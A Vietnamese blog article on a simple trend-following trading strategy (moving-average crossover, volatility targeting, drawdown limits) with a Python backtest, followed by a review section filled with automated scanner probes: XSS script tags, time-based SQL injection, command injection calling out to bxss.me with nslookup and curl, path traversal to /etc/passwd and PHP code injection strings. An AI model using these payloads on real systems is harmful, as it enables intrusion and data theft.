Xây dựng một chiến lược trend following đơn giản nhưng có thể triển khai thực tế

25/02/2026

330 lượt đọc

Trong quant trading, rất nhiều người bắt đầu bằng cách tìm kiếm một chỉ báo “mạnh” hoặc một mô hình dự báo phức tạp. Tuy nhiên, thực tế cho thấy phần lớn hệ thống thất bại không phải vì tín hiệu quá yếu, mà vì cấu trúc hệ thống không đầy đủ. Một tín hiệu có thể có edge dương nhỏ, nhưng nếu không có cơ chế quản lý vốn, kiểm soát biến động và giới hạn drawdown rõ ràng, hiệu suất thực tế sẽ rất khác so với kỳ vọng. Một chiến lược có thể đúng 45% thời gian vẫn tạo lợi nhuận nếu lợi nhuận trung bình lớn hơn thua lỗ trung bình và nếu quy mô vị thế được điều chỉnh hợp lý theo rủi ro thị trường.

Bài viết này trình bày một chiến lược trend following ở mức cơ bản nhưng đầy đủ cấu trúc. Mục tiêu không phải tối ưu lợi nhuận ngắn hạn, mà xây dựng một hệ thống có thể vận hành ổn định qua nhiều chu kỳ thị trường khác nhau.

Phần 1: Logic của trend following và bản chất lợi nhuận

Trend following dựa trên một giả định đơn giản: khi thị trường hình thành xu hướng đủ mạnh, động lượng đó thường kéo dài lâu hơn kỳ vọng ban đầu. Lý do không đến từ kỹ thuật, mà đến từ cấu trúc dòng tiền. Các quỹ lớn, tổ chức đầu tư và ETF không thể vào hoặc thoát vị thế trong một phiên giao dịch. Khi dòng tiền bắt đầu tích lũy hoặc phân phối, quá trình đó thường diễn ra trong nhiều tuần hoặc nhiều tháng. Điều này tạo ra các chuỗi tăng hoặc giảm có cấu trúc thay vì chuyển động hoàn toàn ngẫu nhiên.

Ví dụ thực tế có thể quan sát trong nhiều thị trường. Một chỉ số cổ phiếu có thể đi ngang trong nhiều tháng, tạo ra tín hiệu nhiễu liên tục. Tuy nhiên, khi phá vỡ vùng tích lũy và bước vào xu hướng tăng mạnh, đà tăng đó có thể kéo dài 20–30% hoặc hơn trước khi điều chỉnh đáng kể. Trong những giai đoạn như vậy, chiến lược theo xu hướng không cần bắt đáy hoặc bán đỉnh. Nó chỉ cần tham gia khi xu hướng đã xác nhận và giữ vị thế cho đến khi cấu trúc giá thay đổi.

Điểm quan trọng của trend following là chấp nhận thua lỗ nhỏ và lặp lại trong thị trường sideway. Phần lớn lợi nhuận của hệ thống thường đến từ một số ít giao dịch lớn trong năm. Điều này khiến nhiều người bỏ chiến lược quá sớm vì họ tập trung vào tỷ lệ thắng thay vì phân phối lợi nhuận. Bản chất của hệ thống theo xu hướng là: lỗ nhiều lần nhỏ, thắng ít lần nhưng lớn.

Phần 2: Xây dựng hệ thống hoàn chỉnh từ tín hiệu cơ bản

Một cấu trúc phổ biến và dễ kiểm chứng là sử dụng hai đường trung bình động:

  1. MA ngắn hạn: 50 phiên
  2. MA dài hạn: 200 phiên

Khi MA50 cắt lên MA200, hệ thống coi đó là tín hiệu xác nhận xu hướng tăng và mở vị thế mua. Khi MA50 cắt xuống MA200, hệ thống đóng vị thế. Đây chỉ là phần tín hiệu. Nếu dừng ở đây, hệ thống vẫn chưa hoàn chỉnh vì chưa có quản lý vốn và kiểm soát rủi ro.

Yếu tố tiếp theo là điều chỉnh quy mô vị thế theo biến động. Nếu tài sản đang có biến động cao, giữ nguyên quy mô vị thế sẽ làm tăng rủi ro danh mục. Do đó, hệ thống cần áp dụng volatility targeting. Ví dụ: mục tiêu biến động danh mục là 15% mỗi năm. Nếu biến động thực tế của tài sản là 30% mỗi năm, quy mô vị thế nên giảm xuống 50%. Nếu biến động chỉ 10%, có thể tăng quy mô lên mức tối đa cho phép.

Công thức đơn giản:

Position size = Target volatility / Realized volatility

Giả sử target volatility là 15% và realized volatility là 20%, quy mô vị thế sẽ là 0.75. Điều này giúp hệ thống tự động giảm rủi ro khi thị trường trở nên biến động và tăng hiệu quả vốn khi thị trường ổn định.

Yếu tố thứ ba là kiểm soát drawdown. Trong thực tế, chiến lược trend following có thể trải qua giai đoạn drawdown kéo dài khi thị trường đi ngang. Nếu không có giới hạn, tổn thất tích lũy có thể khiến người vận hành dừng hệ thống đúng trước khi xu hướng mới hình thành. Một cách tiếp cận thực tế là thiết lập ngưỡng giảm quy mô khi drawdown vượt một mức nhất định, ví dụ -20%, và tạm dừng hệ thống nếu vượt -30%. Đây không phải là tối ưu lợi nhuận, mà là bảo vệ khả năng tồn tại dài hạn.

Phần 3: Triển khai và đánh giá hiệu suất thực tế

Dưới đây là cấu trúc Python tối giản thể hiện logic chiến lược:


import numpy as np
import pandas as pd

np.random.seed(42)
n = 2000
price = 100 + np.cumsum(np.random.randn(n))
df = pd.DataFrame({"price": price})

df["ma50"] = df["price"].rolling(50).mean()
df["ma200"] = df["price"].rolling(200).mean()
df["signal"] = (df["ma50"] > df["ma200"]).astype(int)

df["ret"] = df["price"].pct_change().fillna(0)
df["vol"] = df["ret"].rolling(60).std() * np.sqrt(252)

target_vol = 0.15
df["position"] = (target_vol / df["vol"]).clip(upper=1.0)
df["position"] = df["position"] * df["signal"].shift(1)

df["strategy_ret"] = df["position"] * df["ret"]
df["equity"] = (1 + df["strategy_ret"]).cumprod()

df["peak"] = df["equity"].cummax()
df["drawdown"] = df["equity"]/df["peak"] - 1

Các tham số chính:

  1. MA50 / MA200 để xác định xu hướng
  2. Cửa sổ volatility 60 phiên
  3. Target volatility 15%
  4. Quy mô vị thế tối đa 100%

Khi chạy trên dữ liệu thực tế như chỉ số lớn hoặc ETF thanh khoản cao, kết quả thường có đặc điểm sau:

  1. Tỷ lệ thắng khoảng 40–50%
  2. Lợi nhuận tập trung vào các giai đoạn xu hướng mạnh
  3. Drawdown trung bình 15–30% tùy thị trường
  4. Sharpe ratio dao động quanh 0.7–1.2 nếu không tối ưu quá mức

Điều đáng chú ý là hiệu suất không đến từ việc dự đoán chính xác thị trường, mà từ cấu trúc quản lý rủi ro và kỷ luật thực thi. Hệ thống có thể hoạt động kém trong một năm đi ngang, nhưng vẫn tạo lợi nhuận dài hạn nếu xu hướng xuất hiện đủ mạnh trong chu kỳ tiếp theo.

Kết luận

Một chiến lược đơn giản vẫn có thể hiệu quả nếu được thiết kế đầy đủ thành phần: tín hiệu rõ ràng, điều chỉnh vị thế theo biến động và kiểm soát drawdown. Phần lớn thất bại trong quant trading không đến từ việc thiếu mô hình phức tạp, mà từ việc đánh giá thấp rủi ro và quá tập trung vào tối ưu lợi nhuận quá khứ.

Trend following với volatility targeting là ví dụ điển hình cho cách tiếp cận: không cố dự đoán, không tối ưu quá mức, tập trung vào khả năng tồn tại. Trong môi trường thị trường thay đổi liên tục, hệ thống chịu đựng được giai đoạn xấu quan trọng hơn hệ thống đạt lợi nhuận cao trong ngắn hạn.

Chia sẻ bài viết

Đánh giá

RDFYjolf

tes****@example.com

555<esi:include src="http://bxss.me/rpb.png"/>

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

RDFYjolf

tes****@example.com

xfs.bxss.me

RDFYjolf

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

RDFYjolf

tes****@example.com

555

RDFYjolf

xfs.bxss.me

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

tes****@example.com

555

xfs.bxss.me

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

'"

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

<!--

RDFYjolf

tes****@example.com

555'"()&%<zzz><ScRiPt >EPoq(9761)</ScRiPt>

RDFYjolf

'"

555

RDFYjolf

<!--

555

RDFYjolf

tes****@example.com

RDFYjolf

tes****@example.com

'"()&%<zzz><ScRiPt >EPoq(9897)</ScRiPt>

'"

tes****@example.com

555

RDFYjolf

tes****@example.com

response.write(9275180*9837125)

RDFYjolf

tes****@example.com

12345'"\'\");|]*

<!--

tes****@example.com

555

RDFYjolf

tes****@example.com

'+response.write(9275180*9837125)+'

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

"+response.write(9275180*9837125)+"

RDFYjolf

tes****@example.com

5559079794

RDFYjolf

tes****@example.com

555

RDFYjolf

response.write(9408029*9703594)

555

RDFYjolf

'+response.write(9408029*9703594)+'

555

RDFYjolf

12345'"\'\");|]*

555

RDFYjolf

tes****@example.com'"()&%<zzz><ScRiPt >EPoq(9475)</ScRiPt>

555

RDFYjolf

"+response.write(9408029*9703594)+"

555

response.write(9906382*9109421)

tes****@example.com

555

'+response.write(9906382*9109421)+'

tes****@example.com

555

RDFYjolf

'"()&%<zzz><ScRiPt >EPoq(9309)</ScRiPt>

555

"+response.write(9906382*9109421)+"

tes****@example.com

555

12345'"\'\");|]*

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com9374370

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf'"()&%<zzz><ScRiPt >EPoq(9458)</ScRiPt>

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

YPtzFwDJ

'"()&%<zzz><ScRiPt >EPoq(9726)</ScRiPt>

tes****@example.com

555

RDFYjolf

tes****@example.com

jvJRBTAr: 1U1SUfsg

RDFYjolf

XkCmhNoG

555

RDFYjolf9772141

tes****@example.com

555

RDFYjolf

Kp7yXyuX: OzpwQAIA

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com<esi:include src="http://bxss.me/rpb.png"/>

555

RDFYjolf

tes****@example.com

echo koiaxl$()\ asgaor\nz^xyu||a #' &echo koiaxl$()\ asgaor\nz^xyu||a #|" &echo koiaxl$()\ asgaor\nz^xyu||a #

RDFYjolf

tes****@example.com

555

nNqdDlPt

tes****@example.com

555

RDFYjolf<esi:include src="http://bxss.me/rpb.png"/>

tes****@example.com

555

DLMzV9PL: ToFlyhk6

tes****@example.com

555

RDFYjolf

tes****@example.com

&echo evwscb$()\ nnwxrd\nz^xyu||a #' &echo evwscb$()\ nnwxrd\nz^xyu||a #|" &echo evwscb$()\ nnwxrd\nz^xyu||a #

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555&echo ztuhpf$()\ xelzyp\nz^xyu||a #' &echo ztuhpf$()\ xelzyp\nz^xyu||a #|" &echo ztuhpf$()\ xelzyp\nz^xyu||a #

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

../../../../../../../../../../../../../../etc/passwd

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

|echo mnwjao$()\ dbcjte\nz^xyu||a #' |echo mnwjao$()\ dbcjte\nz^xyu||a #|" |echo mnwjao$()\ dbcjte\nz^xyu||a #

RDFYjolf

tes****@example.com

${9999836+9999790}

RDFYjolf

tes****@example.com

../../../../../../../../../../../../../../windows/win.ini

RDFYjolf

tes****@example.com

555|echo wgzlyu$()\ hbwnfr\nz^xyu||a #' |echo wgzlyu$()\ hbwnfr\nz^xyu||a #|" |echo wgzlyu$()\ hbwnfr\nz^xyu||a #

RDFYjolf

tes****@example.com

555*if(now()=sysdate(),sleep(15),0)

RDFYjolf

${9999989+9999898}

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

file:///etc/passwd

RDFYjolf

tes****@example.com

expr 9000420828 - 984910

${9999278+10000365}

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

(nslookup -q=cname hitmtlnlqpslwf5985.bxss.me||curl hitmtlnlqpslwf5985.bxss.me))

RDFYjolf

tes****@example.com

555*if(now()=sysdate(),sleep(11.986),0)

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

../555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

$(nslookup -q=cname hitcaflkoxcgd2fc34.bxss.me||curl hitcaflkoxcgd2fc34.bxss.me)

RDFYjolf

../../../../../../../../../../../../../../etc/passwd

555

RDFYjolf

tes****@example.com

&nslookup -q=cname hitnnjbvuqopa77017.bxss.me&'\"`0&nslookup -q=cname hitnnjbvuqopa77017.bxss.me&`'

RDFYjolf

tes****@example.com

555*if(now()=sysdate(),sleep(15),0)

RDFYjolf

../../../../../../../../../../../../../../windows/win.ini

555

RDFYjolf

tes****@example.com

&(nslookup -q=cname hitobugqnzbujd7d43.bxss.me||curl hitobugqnzbujd7d43.bxss.me)&'\"`0&(nslookup -q=cname hitobugqnzbujd7d43.bxss.me||curl hitobugqnzbujd7d43.bxss.me)&`'

RDFYjolf

file:///etc/passwd

555

RDFYjolf

tes****@example.com

|(nslookup -q=cname hitaumnsucbtne1324.bxss.me||curl hitaumnsucbtne1324.bxss.me)

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

RDFYjolf

tes****@example.com

'.gethostbyname(lc('hitkz'.'ewgaytrp578d1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(69).chr(122).chr(72).'

RDFYjolf

tes****@example.com

`(nslookup -q=cname hitahlckfwuke59b60.bxss.me||curl hitahlckfwuke59b60.bxss.me)`

RDFYjolf

../*******@example.com

555

RDFYjolf

tes****@example.com

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

RDFYjolf

tes****@example.com

".gethostbyname(lc("hitmo"."xqsijamgf8179.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(72).chr(110).chr(85)."

RDFYjolf

tes****@example.com

;(nslookup -q=cname hitiatbfnqqtle2fed.bxss.me||curl hitiatbfnqqtle2fed.bxss.me)|(nslookup -q=cname hitiatbfnqqtle2fed.bxss.me||curl hitiatbfnqqtle2fed.bxss.me)&(nslookup -q=cname hitiatbfnqqtle2fed.bxss.me||curl hitiatbfnqqtle2fed.bxss.me)

RDFYjolf

tes****@example.com

"+"A".concat(70-3).concat(22*4).concat(118).concat(90).concat(103).concat(67)+(require"socket" Socket.gethostbyname("hitmj"+"etsiyylo068e9.bxss.me.")[3].to_s)+"

../../../../../../../../../../../../../../etc/passwd

tes****@example.com

555

RDFYjolf

tes****@example.com

5550"XOR(555*if(now()=sysdate(),sleep(23.972),0))XOR"Z

RDFYjolf

tes****@example.com

gethostbyname(lc('hitsd'.'mrlymssre2901.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(75).chr(101).chr(71)

RDFYjolf

tes****@example.com

HttP://bxss.me/t/xss.html?%00

RDFYjolf

tes****@example.com

'+'A'.concat(70-3).concat(22*4).concat(118).concat(87).concat(98).concat(90)+(require'socket' Socket.gethostbyname('hitww'+'azvfeylucc366.bxss.me.')[3].to_s)+'

RDFYjolf

tes****@example.com

|(nslookup${IFS}-q${IFS}cname${IFS}hitfgrofwmbfwba564.bxss.me||curl${IFS}hitfgrofwmbfwba564.bxss.me)

../../../../../../../../../../../../../../windows/win.ini

tes****@example.com

555

RDFYjolf

tes****@example.com

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

RDFYjolf

'.gethostbyname(lc('hitaq'.'bhsqbbgb1aac5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(85).chr(109).chr(70).'

555

RDFYjolf

tes****@example.com

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

RDFYjolf

tes****@example.com

&(nslookup${IFS}-q${IFS}cname${IFS}hitunebhtimrj41fde.bxss.me||curl${IFS}hitunebhtimrj41fde.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitunebhtimrj41fde.bxss.me||curl${IFS}hitunebhtimrj41fde.bxss.me)&`'

RDFYjolf

tes****@example.com

bxss.me/t/xss.html?%00

RDFYjolf

tes****@example.com

'A'.concat(70-3).concat(22*4).concat(99).concat(73).concat(111).concat(75)+(require'socket' Socket.gethostbyname('hitao'+'dllhwxtx76495.bxss.me.')[3].to_s)

RDFYjolf

".gethostbyname(lc("hitnx"."thdsdxztc1079.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(65).chr(115).chr(76)."

555

file:///etc/passwd

tes****@example.com

555

RDFYjolf

tes****@example.com

(select(0)from(select(sleep(23.972)))v)/*'+(select(0)from(select(sleep(23.972)))v)+'"+(select(0)from(select(sleep(23.972)))v)+"*/

RDFYjolf

echo mzqkzn$()\ crthxb\nz^xyu||a #' &echo mzqkzn$()\ crthxb\nz^xyu||a #|" &echo mzqkzn$()\ crthxb\nz^xyu||a #

555

RDFYjolf

tes****@example.com

';print(md5(31337));$a='

RDFYjolf

tes****@example.com

http://bxss.me/t/rfi.php?%00

RDFYjolf

gethostbyname(lc('hitkl'.'nkczriwf4db49.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(86).chr(102).chr(89)

555

RDFYjolf

tes****@example.com

555

RDFYjolf

"+"A".concat(70-3).concat(22*4).concat(112).concat(84).concat(112).concat(69)+(require"socket" Socket.gethostbyname("hitjn"+"sxeebetxfd6f3.bxss.me.")[3].to_s)+"

555

RDFYjolf

tes****@example.com

555-1; waitfor delay '0:0:15' --

RDFYjolf

&echo llpwon$()\ dxbhjn\nz^xyu||a #' &echo llpwon$()\ dxbhjn\nz^xyu||a #|" &echo llpwon$()\ dxbhjn\nz^xyu||a #

555

RDFYjolf

tes****@example.com

bxss.me/t/rfi.php?%00

RDFYjolf

tes****@example.com

";print(md5(31337));$a="

'.gethostbyname(lc('hitkv'.'avrocpok6abd0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(88).chr(110).chr(67).'

tes****@example.com

555

../RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

RDFYjolf

'+'A'.concat(70-3).concat(22*4).concat(116).concat(80).concat(100).concat(83)+(require'socket' Socket.gethostbyname('hitia'+'zjlkmsoy2dd87.bxss.me.')[3].to_s)+'

555

RDFYjolf

tes****@example.com&echo unzwpv$()\ kffouf\nz^xyu||a #' &echo unzwpv$()\ kffouf\nz^xyu||a #|" &echo unzwpv$()\ kffouf\nz^xyu||a #

555

RDFYjolf

HttP://bxss.me/t/xss.html?%00

555

".gethostbyname(lc("hitcm"."lehkvcam36249.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(90).chr(112).chr(80)."

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

${@print(md5(31337))}

RDFYjolf

tes****@example.com

555-1); waitfor delay '0:0:15' --

RDFYjolf

'A'.concat(70-3).concat(22*4).concat(98).concat(89).concat(117).concat(90)+(require'socket' Socket.gethostbyname('hitqt'+'zsrntanz62a80.bxss.me.')[3].to_s)

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

gethostbyname(lc('hitrp'.'uiasmmvf73113.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(65).chr(121).chr(75)

tes****@example.com

555

RDFYjolf

|echo pkbnwi$()\ qxweqx\nz^xyu||a #' |echo pkbnwi$()\ qxweqx\nz^xyu||a #|" |echo pkbnwi$()\ qxweqx\nz^xyu||a #

555

RDFYjolf

tes****@example.com

555

RDFYjolf

bxss.me/t/xss.html?%00

555

RDFYjolf

tes****@example.com

/etc/shells

RDFYjolf

tes****@example.com

${@print(md5(31337))}\

"+"A".concat(70-3).concat(22*4).concat(108).concat(74).concat(100).concat(67)+(require"socket" Socket.gethostbyname("hityt"+"qfenxmqv225ce.bxss.me.")[3].to_s)+"

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

http://bxss.me/t/rfi.php?%00

555

RDFYjolf

tes****@example.com|echo acptep$()\ qwupil\nz^xyu||a #' |echo acptep$()\ qwupil\nz^xyu||a #|" |echo acptep$()\ qwupil\nz^xyu||a #

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

../../../../../../../../../../../../../../etc/shells

RDFYjolf

tes****@example.com

555-1 waitfor delay '0:0:15' --

RDFYjolf

tes****@example.com

'.print(md5(31337)).'

RDFYjolf

tes****@example.com

555

'+'A'.concat(70-3).concat(22*4).concat(114).concat(72).concat(102).concat(79)+(require'socket' Socket.gethostbyname('hitoj'+'btqawcwge563f.bxss.me.')[3].to_s)+'

tes****@example.com

555

RDFYjolf

bxss.me/t/rfi.php?%00

555

RDFYjolf

tes****@example.com

c:/windows/win.ini

RDFYjolf

expr 9000190460 - 987632

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

<?php print(md5(31337));?>

RDFYjolf

tes****@example.com

review-store

RDFYjolf

tes****@example.com

555

'A'.concat(70-3).concat(22*4).concat(103).concat(81).concat(99).concat(74)+(require'socket' Socket.gethostbyname('hitem'+'gvplaidnda62f.bxss.me.')[3].to_s)

tes****@example.com

555

HttP://bxss.me/t/xss.html?%00

tes****@example.com

555

RDFYjolf

(nslookup -q=cname hitwdzazzcowf84f02.bxss.me||curl hitwdzazzcowf84f02.bxss.me))

555

RDFYjolf

tes****@example.com

bxss.me

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

5556Ib0r1Ze'; waitfor delay '0:0:15' --

RDFYjolf

tes****@example.com

'{${print(md5(31337))}}'

RDFYjolf

tes****@example.com

review-store

bxss.me/t/xss.html?%00

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

$(nslookup -q=cname hitkdqbqxahyf6b017.bxss.me||curl hitkdqbqxahyf6b017.bxss.me)

555

RDFYjolf

tes****@example.com

Http://bxss.me/t/fit.txt

RDFYjolf

tes****@example.com

review-store/.

http://bxss.me/t/rfi.php?%00

tes****@example.com

555

RDFYjolf

tes****@example.com

print(md5(31337));//

RDFYjolf

tes****@example.com

redirtest.acx

RDFYjolf

&nslookup -q=cname hitutjdvxcwkpddbae.bxss.me&'\"`0&nslookup -q=cname hitutjdvxcwkpddbae.bxss.me&`'

555

RDFYjolf

tes****@example.com

555-1 OR 55=(SELECT 55 FROM PG_SLEEP(15))--

bVYxbmNkZm4=

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

http://bxss.me/t/fit.txt?.jpg

RDFYjolf

review-store

555

RDFYjolf

tes****@example.com

{php}print(md5(31337));{/php}

bxss.me/t/rfi.php?%00

tes****@example.com

555

RDFYjolf

redirtest.acx

555

RDFYjolf

&(nslookup -q=cname hitwetqetqzpxbb21b.bxss.me||curl hitwetqetqzpxbb21b.bxss.me)&'\"`0&(nslookup -q=cname hitwetqetqzpxbb21b.bxss.me||curl hitwetqetqzpxbb21b.bxss.me)&`'

555

RDFYjolf

tes****@example.com

555

RDFYjolf

review-store

555

RDFYjolf

tes****@example.com

[php]print(md5(31337));[/php]

RDFYjolf

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.com

555

redirtest.acx

tes****@example.com

555

RDFYjolf

|(nslookup -q=cname hitavywfxrllz00bd6.bxss.me||curl hitavywfxrllz00bd6.bxss.me)

555

RDFYjolf

tes****@example.com

555-1) OR 729=(SELECT 729 FROM PG_SLEEP(15))--

RDFYjolf

tes****@example.com

555&n909769=v911962

RDFYjolf

review-store/.

555

RDFYjolf

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

RDFYjolf

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

`(nslookup -q=cname hitbdelcdlzmle465f.bxss.me||curl hitbdelcdlzmle465f.bxss.me)`

555

RDFYjolf

tes****@example.com&n947660=v964922

555

review-store

tes****@example.com

555

RDFYjolf

';print(md5(31337));$a='

555

RDFYjolf

/etc/shells

555

RDFYjolf

tes****@example.com

555-1)) OR 274=(SELECT 274 FROM PG_SLEEP(15))--

RDFYjolf

tes****@example.com

555

RDFYjolf&n909099=v935421

tes****@example.com

555

RDFYjolf

;(nslookup -q=cname hitjnakckmwja6fcac.bxss.me||curl hitjnakckmwja6fcac.bxss.me)|(nslookup -q=cname hitjnakckmwja6fcac.bxss.me||curl hitjnakckmwja6fcac.bxss.me)&(nslookup -q=cname hitjnakckmwja6fcac.bxss.me||curl hitjnakckmwja6fcac.bxss.me)

555

RDFYjolf

";print(md5(31337));$a="

555

review-store

tes****@example.com

555

RDFYjolf

../../../../../../../../../../../../../../etc/shells

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

|(nslookup${IFS}-q${IFS}cname${IFS}hitefzxcwpkjmbc4eb.bxss.me||curl${IFS}hitefzxcwpkjmbc4eb.bxss.me)

555

RDFYjolf

${@print(md5(31337))}

555

review-store/.

tes****@example.com

555

RDFYjolf

tes****@example.com

)

RDFYjolf

c:/windows/win.ini

555

RDFYjolf

tes****@example.com

55503BEbqa8' OR 757=(SELECT 757 FROM PG_SLEEP(15))--

RDFYjolf

${@print(md5(31337))}\

555

RDFYjolf

tes****@example.com

!(()&&!|*|*|

RDFYjolf

&(nslookup${IFS}-q${IFS}cname${IFS}hitekvjgnghknf3394.bxss.me||curl${IFS}hitekvjgnghknf3394.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitekvjgnghknf3394.bxss.me||curl${IFS}hitekvjgnghknf3394.bxss.me)&`'

555

RDFYjolf

tes****@example.com

555

RDFYjolf

bxss.me

555

RDFYjolf

'.print(md5(31337)).'

555

RDFYjolf

tes****@example.com

^(#$!@#$)(()))******

echo sforuv$()\ sdybdv\nz^xyu||a #' &echo sforuv$()\ sdybdv\nz^xyu||a #|" &echo sforuv$()\ sdybdv\nz^xyu||a #

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

<?php print(md5(31337));?>

555

RDFYjolf

Http://bxss.me/t/fit.txt

555

RDFYjolf

)

555

RDFYjolf

tes****@example.com

555hgcVXXws') OR 479=(SELECT 479 FROM PG_SLEEP(15))--

RDFYjolf

tes****@example.com

555

&echo njsreg$()\ rdlpqj\nz^xyu||a #' &echo njsreg$()\ rdlpqj\nz^xyu||a #|" &echo njsreg$()\ rdlpqj\nz^xyu||a #

tes****@example.com

555

RDFYjolf

http://bxss.me/t/fit.txt?.com

555

RDFYjolf

'{${print(md5(31337))}}'

555

RDFYjolf

!(()&&!|*|*|

555

RDFYjolf&echo acuprl$()\ mhgcta\nz^xyu||a #' &echo acuprl$()\ mhgcta\nz^xyu||a #|" &echo acuprl$()\ mhgcta\nz^xyu||a #

tes****@example.com

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

tes****@example.com

555

RDFYjolf

print(md5(31337));//

555

RDFYjolf

^(#**@#$)(()))******

555

|echo pyrmda$()\ zhevej\nz^xyu||a #' |echo pyrmda$()\ zhevej\nz^xyu||a #|" |echo pyrmda$()\ zhevej\nz^xyu||a #

tes****@example.com

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

tes****@example.com

555

)

tes****@example.com

555

RDFYjolf

{php}print(md5(31337));{/php}

555

RDFYjolf|echo oihcdn$()\ tkigkb\nz^xyu||a #' |echo oihcdn$()\ tkigkb\nz^xyu||a #|" |echo oihcdn$()\ tkigkb\nz^xyu||a #

tes****@example.com

555

/etc/shells

tes****@example.com

555

RDFYjolf

tes****@example.com

555t7Nl6Cm5')) OR 888=(SELECT 888 FROM PG_SLEEP(15))--

!(()&&!|*|*|

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

[php]print(md5(31337));[/php]

555

expr 9000489753 - 969213

tes****@example.com

555

../../../../../../../../../../../../../../etc/shells

tes****@example.com

555

^(#$!@#$)(()))******

tes****@example.com

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

tes****@example.com

555

(nslookup -q=cname hitsthnszpamr45c50.bxss.me||curl hitsthnszpamr45c50.bxss.me))

tes****@example.com

555

c:/windows/win.ini

tes****@example.com

555

RDFYjolf

tes****@example.com

555

RDFYjolf

tes****@example.com

'"()

RDFYjolf

tes****@example.com

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

';print(md5(31337));$a='

tes****@example.com

555

bxss.me

tes****@example.com

555

$(nslookup -q=cname hitofgwzegxmw93bb9.bxss.me||curl hitofgwzegxmw93bb9.bxss.me)

tes****@example.com

555

RDFYjolf

tes****@example.com

555'&&sleep(27*1000)*acauhq&&'

RDFYjolf

tes****@example.com

555

";print(md5(31337));$a="

tes****@example.com

555

&nslookup -q=cname hitbztzdfrwpo653fc.bxss.me&'\"`0&nslookup -q=cname hitbztzdfrwpo653fc.bxss.me&`'

tes****@example.com

555

Http://bxss.me/t/fit.txt

tes****@example.com

555

RDFYjolf

tes****@example.com

555"&&sleep(27*1000)*dralit&&"

RDFYjolf

tes****@example.com

555

${@print(md5(31337))}

tes****@example.com

555

&(nslookup -q=cname hitzshxtuotdn64cd4.bxss.me||curl hitzshxtuotdn64cd4.bxss.me)&'\"`0&(nslookup -q=cname hitzshxtuotdn64cd4.bxss.me||curl hitzshxtuotdn64cd4.bxss.me)&`'

tes****@example.com

555

http://bxss.me/t/fit.txt?.jpg

tes****@example.com

555

RDFYjolf

tes****@example.com

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

RDFYjolf

tes****@example.com

555'||sleep(27*1000)*uihctb||'

${@print(md5(31337))}\

tes****@example.com

555

